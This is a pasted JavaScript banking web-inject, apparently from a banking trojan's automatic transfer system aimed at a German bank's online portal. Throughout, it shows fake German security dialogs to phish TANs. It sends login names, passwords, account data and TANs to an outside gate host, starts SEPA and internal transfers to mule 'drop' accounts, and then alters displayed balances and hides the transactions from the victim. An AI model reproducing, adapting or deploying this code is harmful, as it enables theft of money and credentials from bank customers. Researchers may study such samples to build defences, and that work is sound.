Advertisement
Xylitol

gad.de.js

Apr 13th, 2014
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //var jq = jQuery.noConflict();
  2. var jq = jQuery;
  3.  
  4. var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
  5. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background: url("'+CONTENT_URL+'/images/bodybg.png") repeat-y scroll 0 0 transparent; background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 600px;margin-left: -300px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0 0 0; }</style>');
  6.  
  7.  
  8. var ATS = { bank: 'gad',
  9.     account_id: 0,
  10.     script_ver: '2.4',
  11.     transf_mode : 'sepa',
  12.     debug_mode: 0,
  13.     debug_transfer: "INT",
  14.     gateURL : 'https://belissimos7.com/nsdghsf333/gate',
  15.     debugVisibleFrame: false,
  16.     debugNoOverlay : false,
  17.     CONTENT_URL: CONTENT_URL,
  18.     current_state : 0,
  19.     sepa_or_int_select_changed : false,
  20.     MaxTransferAccNum:0,
  21.    
  22.  
  23.     StepInFrame : {
  24.         0:"BeginWork",
  25.         10:"framePageFinanzstatus",
  26.         15:"Transactions",
  27.         20:"Overseas_remittance",
  28.         30:"SEPA_page",
  29.         110:"SEPA_form_filled",
  30.         120:"TAN_ENTERED",
  31.         130:"Internal_transf_page",
  32.         140:"INT_form_filled",
  33.         150:"KreditlimitPage",
  34.         160:"TransactionsINT",
  35.         170:"TransactionsSEPA",
  36.        
  37.        
  38.         set_current_state : function(state){
  39.            
  40.             for (var key in this) {
  41.               if (typeof this[key]!= 'function' && state==this[key]) {
  42.                parent.ATS.current_state=key;
  43.                return key;
  44.                }
  45.               //alert(key+':'+this[key])
  46.              
  47.            }
  48.             return false;
  49.             }
  50.         },
  51.        
  52.  
  53.     isDebugMode: function()
  54.     {
  55.         return ATS.debug_mode;
  56.     },
  57.    
  58.  
  59.     getBrowserFull: function()
  60.     {
  61.         var res = 'na';
  62.         try
  63.         {
  64.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  65.             if (m)
  66.             {
  67.                 res = 'ff' + m[1];
  68.             }
  69.             else
  70.             {
  71.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  72.                 if (m)
  73.                     res = 'ie' + m[1];
  74.             }
  75.         }
  76.         catch(e)
  77.         {
  78.             res = 'ex';
  79.         }
  80.         return res;
  81.     },
  82.  
  83.  
  84.     debugMsg: function(message)
  85.     {
  86.         if (this.isDebugMode())
  87.         {
  88.             if (window.console && window.console.log)
  89.                 window.console.log(message);
  90.             else
  91.                 alert(message);
  92.         }
  93.     },
  94.    
  95.     _cookies: new Object(),
  96.    
  97.     setCookie: function(name, value)
  98.     {
  99.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  100.         parent.ATS._cookies['#'+name] = value;
  101.     },
  102.    
  103.     getCookie: function(name)
  104.     {
  105.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  106.             return null;
  107.        
  108.         return parent.ATS._cookies['#'+name];
  109.     },
  110.    
  111.     serializeCookies: function()
  112.     {
  113.        //if (typeof parent.ATS._cookies != 'function')
  114.         var result = new Array();
  115.         for (var i in parent.ATS._cookies)
  116.         {
  117.            
  118.             if(i.indexOf('#')==0){
  119.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  120.  
  121.                }
  122.         }
  123.         return result.join('&');
  124.     },
  125.    
  126.     unserializeCookies: function(rawData)
  127.     {
  128.         var result = new Object();
  129.         for (var i in rawData)
  130.         {
  131.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  132.         }
  133.         return result;
  134.     },
  135.    
  136.     saveCookies: function(callback)
  137.     {
  138.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  139.     },
  140.    
  141.  
  142.     sendGateRequest: function(action, params, callback)
  143.     {
  144.      
  145.         //ATS.debugMsg('sendGateRequest: ' + action);
  146.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  147.        
  148.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  149.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  150.    
  151.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  152.         //{
  153.        
  154.             jq.ajax({
  155.                 url: url,
  156.                 dataType: 'jsonp',
  157.                 crossDomain: true,
  158.                 data: dat,
  159.                 //async: false,
  160.                 success: callback,
  161.                 error: function(request,error)
  162.                 {
  163.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  164.                     jq('.inj_full_overlay').remove();
  165.                     ATS.UI_unblockSite();
  166.                     jq('#inj_dialog_box').hide();
  167.                 }
  168.                
  169.             });
  170.            
  171.         //}
  172.     },
  173.    
  174.  
  175.     loadData: function(callback)
  176.     {
  177.         ATS.sendGateRequest('load_data', {}, function(data){
  178.             ATS.account_id = data.account_id;
  179.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  180.             if (typeof callback == 'function')
  181.                 callback();
  182.         });
  183.     },
  184.    
  185.  
  186.     sendLoginInfo: function(login, password, callback)
  187.     {
  188.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  189.     },
  190.    
  191.  
  192.     sendLogMsg: function(text, callback)
  193.     {
  194.         ATS.debugMsg('sendLogMsg: ' + text);
  195.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  196.     },
  197.    
  198.     getDrop: function(transfType, balance, callback)
  199.     {
  200.        
  201.  
  202.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  203.     },
  204.    
  205.     putTransfer: function(transfType, drop, amount, callback)
  206.     {
  207.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  208.     },
  209.    
  210.     sendAccountsInfo: function(accountsInfo, callback)
  211.     {
  212.         try {
  213.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  214.         } catch(e) {}
  215.     }
  216.    
  217.    
  218.    
  219.    
  220. };
  221.  
  222.  
  223.  
  224. ATS.UI_showWait = function()
  225. {
  226.     ATS.UI_showDialogBox();
  227.     jq('#inj_page_wait').show();
  228.     //jq('#inj_page_tan').hide();
  229.     jq('#inj_page_brilok').hide();
  230.     jq('.formContainer2 #gad_contentbox').hide();
  231.    
  232.  
  233. }
  234. ATS.UI_getTAN = function()
  235. {
  236.     return jq('.nowrap label').text();
  237.    
  238. }
  239.  
  240. ATS.UI_getInjectCode = function()
  241. {
  242.     var code =
  243.      '<div id=inj_dialog_box style=\'display: none;\'>'
  244.      + '<div class="formContainer2">'
  245.      
  246.      + '<div class="inj_dialog_content"><h2 id="inj_dialog_title">Zu Ihrer Sicherheit</h2></div>'
  247.      
  248.      + '<div id=inj_page_wait style=\'display: none;\'>'
  249.      + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
  250.      +  langs.getLang('waittext')
  251.      + '<br class="newline" /></p><p style="text-align:center"><img s'
  252.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
  253.  
  254.      
  255.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  256.      
  257.      +'<div id="gad_signatur_tan" style=\'display: none;\' class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15"><p class="gad-margin-top-10">Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /></p><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div></div>'
  258.      
  259.  + '<div id="inj_page_brilok" class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15" style=\'display: none;\'>'
  260.  
  261.  
  262.   + '<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div>'
  263.  
  264.  +'</div>'
  265.      
  266.      + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
  267.      +'<div class="inj_buttons_block">'
  268.      + '<button id="inj_Weiter" name="inj_weiter" type="submit" title="'+langs.getLang('nextbutton')+'" class="gad-margin-left-10 fltrt js-button-default keindoppelklick gad-button" value="'+langs.getLang('nextbutton')+'"><span class="gad-button-bg-left"><span class="gad-button-bg-right"><span class="gad-button-icon-forward">'+langs.getLang('nextbutton')+'</span></span></span></button>';
  269.      
  270.      + ' <div style="clear:both"></div></div>'
  271.      +'</div>'
  272.      + '</div></div>';
  273.     return jq(code);
  274. }
  275.  
  276.  
  277. ATS.die = function(msg)
  278. {
  279.     ATS.sendLogMsg('ERROR: ' + msg);
  280.     ATS.setCookie('error_time', ATS.getTime());
  281.     ATS.setCookie('status', 2);
  282.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  283.     ATS.saveCookies(function(){
  284.         if ((parent.window !== window) && parent.ATS)
  285.         {
  286.             ATS.debugMsg('die in frame');
  287.             parent.ATS.UI_hideDialogBox();
  288.             parent.ATS.UI_unblockSite();
  289.  
  290.             jq('.inj_full_overlay',parent.document).remove();
  291.         }
  292.         else
  293.         {
  294.             ATS.debugMsg('die outside frame');
  295.             ATS.UI_hideDialogBox();
  296.             ATS.UI_unblockSite();
  297.             jq('.inj_full_overlay').remove();
  298.         }
  299. /*        
  300.     var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
  301.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  302.             setTimeout(function(){
  303.                    parent.window.document.location.href = nextLink;                    
  304.                 }, 1000);
  305.  
  306. */
  307.     });
  308.    
  309.  
  310.        
  311. }
  312.  
  313.  
  314. ATS.mainWork = function()
  315. {
  316.    
  317.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  318.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  319.     switch (ATS.current_state)
  320.     {
  321.         case 0:
  322.            
  323.  
  324.             var href = ATS.getFinanzstatusLink();
  325.             if (href)
  326.             {
  327.            
  328.                      
  329.                 ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  330.                 //ATS.debugMsg('Finanzstatus link: ' + href);
  331.                 //setTimeout('ATS.openInIframe("' + href + '")', 3000);
  332. var name='';
  333. if(jq('#gad_actionchannel_item_logon_name').length) name+=jq('#gad_actionchannel_item_logon_name').html();
  334. if(jq('#gad_login_name').length) name+=jq('#gad_login_name').html();
  335.                
  336.      ATS.sendLogMsg('Name: ' + name,ATS.ieFrameHack() );      
  337.                
  338.                
  339.                
  340.                
  341.                
  342.             }
  343.             else
  344.             {
  345.                 ATS.die('mainWork: cant find finanzstatus');
  346.             }
  347.             break;
  348.     }
  349. }
  350. ATS.ieFrameHack = function()
  351. {
  352.     ATS.debugMsg('ATS.ieFrameHack()');
  353.    
  354.     if (!jq('iframe#ats_wrk_iframe').length)
  355.     {
  356.  
  357.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  358.         ATS.openInIframe('about:blank');
  359. /*        
  360. var cssLink = document.createElement("link")
  361. cssLink.href = "/wrs/resources2/html/layout.css";
  362. cssLink.rel = "stylesheet";
  363. cssLink.type = "text/css";
  364. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  365.  
  366. var cssLink = document.createElement("link")
  367. cssLink.href = "/wrs/resources2/html/color.css";
  368. cssLink.rel = "stylesheet";
  369. cssLink.type = "text/css";
  370. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  371. */
  372.  
  373.  
  374.        
  375.      
  376.         setTimeout(ATS.ieFrameHack, 1000);
  377.     }
  378.     else
  379.     {
  380.  
  381.         var n=ATS.getFinanzstatusLink();
  382.     n=n.replace(/\./g, '%2e');    
  383.     if(!ATS.checkTestPage()){
  384.        
  385.       // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
  386.     }
  387.     else {
  388.     //   var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );  
  389.     }        
  390.    
  391.         jq('iframe#ats_wrk_iframe').attr('src',n );
  392.     }
  393. }
  394. ATS.UI_hideDialogBox = function()
  395. {
  396.     jq('#inj_dialog_box').hide();
  397. }
  398.  
  399.  
  400. ATS.descending= function(a, b)
  401. {
  402.     return b.totalBalance- a.totalBalance;
  403. }
  404.  
  405. ATS.getMaxTransferAcc = function()
  406. {
  407.     //num = num || 0;
  408.     var num=parent.ATS.MaxTransferAccNum;
  409.    
  410.     parent.ATS.accounts_list.sort( ATS.descending );
  411.    
  412.     if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
  413.     else
  414.     {
  415.     ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
  416.     }
  417. /*
  418.     var accountsList = parent.ATS.accounts_list;
  419.     var maxBalance = accountsList[0].balance;
  420.     var tempBalance = 0;
  421.     var maxAcc = null;
  422.     for(var i in accountsList)
  423.     {
  424.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  425.    
  426.    
  427.             if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
  428.             {
  429.                 maxBalance = tempBalance;
  430.                 maxAcc = accountsList[i];
  431.             }
  432.     }
  433.  
  434.     return maxAcc;
  435.     */
  436.    
  437. }
  438.  
  439.  
  440. ATS.UI_askTan = function(tanNum, isError)
  441. {
  442. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  443.     parent.ATS.UI_showDialogBox();
  444.     //parent.ATS.UI_fixBtnLink();
  445.        
  446. if (jq('h1:contains("SMS")').length!=0){
  447.    
  448.     parent.ATS.TanType='sms';
  449.     /*
  450.         var startCode = jq('.nowrap label').text().replace(/\D+/,'');
  451.         ATS.sendLogMsg('startCode ' + startCode);
  452.         jq('#inj_tan_startcode', parent.document.body).text(startCode);
  453.     */
  454.    
  455.     jq('#inj_page_wait', parent.document).hide();
  456.     //jq('#inj_page_tan', parent.document).show();
  457.     jq('#inj_page_brilok', parent.document).hide();
  458.     jq('#gad_signatur_tan', parent.document).show();
  459.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  460.      
  461.  
  462. }
  463.  else{
  464.     parent.ATS.TanType='brilok';
  465. //var zapwind=jq('#hinweis').html().replace(/\*/g,'');    
  466.  
  467. if(jq('#hinweis').length) var zapwind=jq('#hinweis').html();
  468. else var zapwind=jq('#gad_signatur_tan').html();
  469.  
  470.  
  471.  
  472. //---------------------------------------------------------------
  473.     var re = /Start-Code:[\D]*([\d]+)/g;
  474.     var arr=re.exec(zapwind);
  475.     if (arr==null) {
  476.             ATS.sendLogMsg('#hinweis=' + zapwind,function(){
  477.         ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");
  478.         });
  479.     }
  480.         var startcode=arr[1];
  481.         ATS.sendLogMsg('startcode=' + startcode);
  482.    
  483.     var msg='<div id="hinweis"><p class="gad-margin-top-5">Smart-TAN optic :</p><ul class="gad-content-list">';
  484.    
  485.     msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drücken "TAN".</span></li>';
  486.     msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drücken "OK".</span></li>';
  487.  
  488.  
  489. if (parent.ATS.transf_mode == 'sepa'){    
  490.     //var re = /IBAN Empf[\.\s\d\:]+<strong>([\d\*]+)<\/strong>/gim;
  491.     var re = /(IBAN: |IBAN Empf[\.\s\d\:]+)<strong>([\d\*]+)<\/strong>/gim;
  492. }else {
  493.    
  494.      var re = /(Empf[\.\s\d\:]*)<strong>([\d\*]+)<\/strong>/gim;
  495. }
  496.  
  497.     var ind=2;
  498.     while ((arr = re.exec(zapwind)) !== null)
  499.     {
  500.      // var msg = "Found " + arr[0] + ".  ( " + arr[1]+" )";
  501.     //  msg += "Next match starts at " + re.lastIndex;
  502.     ind++;
  503.     msg+='<li><span>* '+ind+'. Geben Sie die <strong>'+arr[2].replace(/\*/g,'')+'</strong> ein und drücken "OK".</span></li>';
  504.      
  505.     }
  506.     if (ind==2) ATS.die("ATS.UI_askTan: Regex error- cant find IBAN Empf");
  507.     var amount=0;
  508.     if (parent.ATS.transf_mode == 'sepa') amount=parent.ATS.sepa_drop.amount;    
  509.      else{amount=parent.ATS.int_drop.amount;}
  510.      
  511.      ind++;
  512.     msg+='<li><span>* '+ind+'. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drücken "OK".</span></li>';
  513.     msg+='</ul><p></p></div>';
  514.    
  515. //-------------------------------------------------------------------  
  516.  
  517.  
  518.  
  519.  
  520.     jq('#inj_page_wait', parent.document).hide();
  521.     jq('#gad_signatur_tan', parent.document).hide();
  522.     jq('#inj_page_brilok', parent.document).show();
  523.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  524.     jq('#inj_page_brilok', parent.document).prepend(msg);
  525.    
  526.  
  527.  }  
  528.    
  529.    
  530.     //jq('#inj_buttons_block', parent.document).show();
  531.  
  532.  }
  533. ATS.UI_onWeiterClick = function()
  534. {
  535. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  536. else var tan = jq('#iTANBrilok').val();
  537.  
  538.  
  539.     if (tan=="test") {
  540.        if (ATS.isDebugMode()){
  541.            parent.ATS.UI_showWait();
  542.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  543.         else ATS.framePageReceiptInternal();
  544.        
  545.        return false;}}
  546.  
  547.    
  548.     if (tan.length == 6)
  549.     {
  550.         ATS.sendLogMsg('entered TAN ' + tan);
  551.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  552.     }
  553.     else{
  554.         alert(langs.getLang('errorTanEmpty'));
  555.        
  556.     }
  557. }
  558.  
  559. ATS.padRight = function(input, totalWidth)
  560.  
  561. {
  562.     var result = input;
  563.     if (result.length < totalWidth){
  564.         for(var i = result.length; i < totalWidth; i++){
  565.             result = result + 'X'
  566.         }
  567.    
  568.     }
  569.     return result;
  570. }
  571.  
  572.  
  573. ATS.framePageReceipt = function()
  574. {
  575.     ATS.sendLogMsg('framePageReceipt');
  576.  
  577.    
  578.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  579.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  580.         ATS.setCookie('transfer_time', ATS.getTime());
  581.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  582.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  583.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  584.        
  585.         var transfer_acc = parent.ATS.transfer_acc;
  586.        
  587.         if (transfer_acc)
  588.         {
  589.             ATS.setCookie('transfer_acc', transfer_acc);
  590.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  591.         }
  592.        
  593.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  594.        
  595.         ATS.setCookie('status', 1);
  596.         ATS.saveCookies(function(){
  597.  
  598.             var nextLink = ATS.getFinanzstatusLink();
  599.             if (nextLink != '')
  600.             {
  601.                 setTimeout(function(){
  602.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  603.                     parent.window.document.location.href = nextLink;
  604.                    
  605.                 }, 1000);
  606.             }
  607.         });
  608.     });
  609.    
  610. }
  611. ATS.framePageReceiptInternal = function()
  612. {
  613.     ATS.sendLogMsg('framePageReceiptInternal');
  614.    
  615.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  616.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  617.         ATS.setCookie('transfer_time', ATS.getTime());
  618.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  619.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  620.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  621.        
  622.         var transfer_acc = parent.ATS.transfer_acc;
  623.        
  624.         if (transfer_acc)
  625.         {
  626.             ATS.setCookie('transfer_acc', transfer_acc);
  627.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  628.         }        
  629.        
  630.  
  631.         ATS.setCookie('status', 1);
  632.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  633.        
  634.         ATS.saveCookies(function(){
  635.  
  636.             var nextLink = ATS.getFinanzstatusLink();
  637.            
  638.             if (nextLink != '')
  639.             {
  640.                 setTimeout(function(){
  641.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  642.                     parent.window.document.location.href = nextLink;
  643.                    
  644.                 }, 1000);
  645.             }
  646.         });
  647.     });
  648. }
  649. ATS.fin2float = function(text)
  650. {
  651.     if (langs.getCurLang()=='EN')
  652.     var text = text.toString();
  653.     else
  654.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  655.     return parseFloat(text);
  656. }
  657.  
  658. ATS.float2fin = function(val)
  659. {
  660.     var intPart = Math.floor(val);
  661.     var fractPart = Math.floor((val - intPart) * 100).toString();
  662.    
  663.     if (fractPart.length < 2)
  664.         fractPart = '0' + fractPart;
  665.        
  666.     var newIntPart = '';
  667.     intPart = intPart.toString();
  668.     while (intPart.length > 3)
  669.     {
  670.         newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
  671.         intPart = intPart.substr(0, intPart.length - 3);
  672.     }
  673.     newIntPart = intPart + newIntPart;
  674.    
  675.     return newIntPart + ',' + fractPart;
  676. }
  677. ATS.addElementAmount = function (el, amount, postfix)
  678. {
  679.     var val = ATS.fin2float(jq(el).text());
  680.     var newText = ATS.float2fin(val + amount);
  681.     if (postfix)
  682.         newText += ' ' + postfix;
  683.     jq(el).text(newText);
  684. }
  685. ATS.hideLastTAN = function()
  686. {
  687.  
  688.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  689.     if (el.length)
  690.     {
  691.         var html = jq(el).html();
  692.         var pos = html.indexOf('Ihre zuletzt');
  693.         if (pos >= 0)
  694.             jq(el).html(html.substr(0, pos));
  695.     }
  696.    
  697.  
  698.     jq('p:contains(Zuletzt benutzte)').remove();
  699. }
  700.  
  701. ATS.checkTransfer = function(el)
  702. {
  703.  
  704.  
  705.     var percent=parseFloat("0.00");  
  706.  
  707.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  708.     if (isNaN(lastGesamtsaldo)) {
  709.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  710.         return false;
  711.     }
  712.  
  713.     var curGesamtsaldo = ATS.fin2float(jq(el).text());
  714.  
  715.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  716.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  717.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  718.    
  719.         //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
  720.        
  721.  
  722.     if(tempsaldo==0){
  723.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  724.         return false;
  725.         }
  726.    
  727.  
  728.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  729.         return false;
  730.     }
  731.  
  732.  
  733.     if(tempsaldo>0){
  734.    
  735.            
  736.  
  737.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  738.        
  739.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  740.     percent=parseFloat(temppers.toFixed(2));
  741.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  742.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  743.             ATS.setCookie('acPercent',percent);
  744.             ATS.saveCookies();
  745.     }
  746.     if (ATS.getCookie('acTransact')!="true"){
  747.             ATS.setCookie('acTransact',true);
  748.             ATS.saveCookies();
  749.     }
  750.    
  751.     return percent;
  752.     }else{
  753.      
  754.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  755.             ATS.setCookie('acPercent',tempsaldo);
  756.             ATS.setCookie('acTransact',false);
  757.             ATS.saveCookies();
  758.         return false;
  759.     }    
  760.        
  761. }
  762.  
  763. }
  764.  
  765.  
  766. ATS.replaceFinanzstatus = function()
  767. {
  768.     ATS.debugMsg('replaceFinanzstatus()');
  769.    
  770.     jq("#gad_toolbar_btn_print").remove();
  771.  
  772.     if (ATS.checkTestPage())  var el=jq('.gad-table-footer-summary-row > td').eq(1);
  773.     else var el=jq('.gad-table-footer-summary-row > td').eq(1);
  774.  
  775.  
  776.      var percent =ATS.checkTransfer(el);
  777.      ATS.debugMsg('percent= '+percent);
  778.      if(typeof percent === 'boolean') return true;
  779.  
  780.  
  781. if( percent > 15) {
  782.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  783.     }
  784.  
  785.  
  786.    
  787.         var totalReplace = 0;
  788.     jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){
  789.         jq(this).find('tr:has(input[value="icon"])').each(function(i){
  790.            
  791.                     var accNum = jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
  792.                     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  793.                    
  794.         //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
  795.                 if (amount > 0)
  796.                     {
  797.         ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
  798.  
  799.                   ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), 'EUR');
  800.                    
  801.  
  802.        
  803. //ATS.addElementAmount(jq(this).parent().find('.subsequent').find("th.balance > strong"), amount + percent, 'EUR');
  804.                
  805.                 totalReplace += parseFloat(amount + percent);
  806.                 }
  807.                
  808.            
  809.     });
  810. });
  811.  
  812.            
  813.             if (totalReplace > 0)
  814.             {
  815.  
  816.                    
  817.         ATS.addElementAmount(jq('.gad-table-footer tr:eq(0) > td').eq(1), totalReplace, 'EUR');
  818.                    
  819.         ATS.addElementAmount(jq('.gad-table-footer-summary-row > td').eq(1), totalReplace, 'EUR');
  820.              }
  821.        
  822.    
  823. }
  824. ATS.replaceUmsatzanzeige = function()
  825. {
  826.     ATS.debugMsg('replaceUmsatzanzeige()');
  827.  
  828.   jq("#gad_toolbar_btn_print").remove();
  829.    
  830.  
  831.        
  832.     var accNum = jq('select[name="idKontoGewaehlt"] > option:selected').text().replace(/\D+/g,'');
  833.    
  834.     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  835.     var percent=parseFloat(ATS.getCookie('acPercent'));
  836.  
  837.    
  838.  
  839. if( percent > 15) {
  840.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  841.     }
  842.    
  843.    
  844.    
  845.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  846.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  847.  
  848.    
  849.        
  850.    
  851.     if (ATS.getCookie('transfer_acc')==accNum)
  852.     {
  853.         //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
  854.     ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);    
  855.  
  856.      
  857.     ATS.addElementAmount(jq('div.gad-summary-row span:eq(0)'), amount +  percent, 'EUR');
  858.        
  859.  
  860.         var hideFlag = false;
  861.         jq('#gad_page table tr').each(function(i){
  862.            jq(this).find("td:eq(2)").each(function(j){
  863.  
  864.        
  865.             var text = jq.trim(jq(this).text());
  866.             if (ATS.needToHide(text))
  867.             {
  868. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  869.                 jq(this).parent().hide();
  870.                 hideFlag = true;
  871.             }
